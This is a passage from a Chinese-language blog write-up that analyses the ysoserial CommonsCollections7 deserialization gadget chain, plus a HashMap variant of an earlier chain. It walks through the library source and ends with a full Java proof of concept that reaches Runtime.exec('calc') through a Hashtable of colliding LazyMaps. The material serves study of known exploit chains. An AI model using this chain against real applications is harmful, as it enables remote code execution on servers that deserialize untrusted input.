另外还有一种利用方法是,在java.util.HashMap#readObject中直接调用hash,直接省去了前面HashSet调用的前几步,也就是说我们可以直接用HashMap即可,并不需要HashSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
//省略部分

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

HashMap的POC是将

1
2
3
HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");

替换为:

1
2
3
HashMap hashMap=new HashMap();
hashMap.put(tiedMapEntry,"test2");
lazyMap.remove("test1");

CommonsCollections7

ysoserial给出的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

/*
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

跟进java.util.Hashtable#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
//省略部分代码

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

跟进java.util.Hashtable#reconstitutionPut,此处put的时候通过hashCodeequals判断是否存在hash冲突

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

跟进org.apache.commons.collections.map.AbstractMapDecorator#equals

1
2
3
public boolean equals(Object object) {
return object == this ? true : this.map.equals(object);
}

跟进java.util.AbstractMap#equals,可以看到此处又是LazyMap.get,之后又是一样的操作了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package CommonsCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
public static void main(String[] args) throws Exception{
Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

Map map1=new HashMap();
Map map2=new HashMap();

Map lazyMap1= LazyMap.decorate(map1,Testtransformer);
Map lazyMap2= LazyMap.decorate(map2,Testtransformer);

lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

}
}

这里需要注意的是我们加了一行这个代码:lazyMap2.remove("yy");,因为org.apache.commons.collections.map.LazyMap#get的时候会进行put操作,所以此时会多出一个yy的元素,所以需要将其移除,否则无法正常反序列化

image.png
image.png

总结

貌似没啥好总结的感觉挺水的,CommonsCollections1-7的链调试一下ysoserial应该基本都能看懂.jpg

Reference

https://www.freebuf.com/articles/web/214096.html

https://xz.aliyun.com/t/7157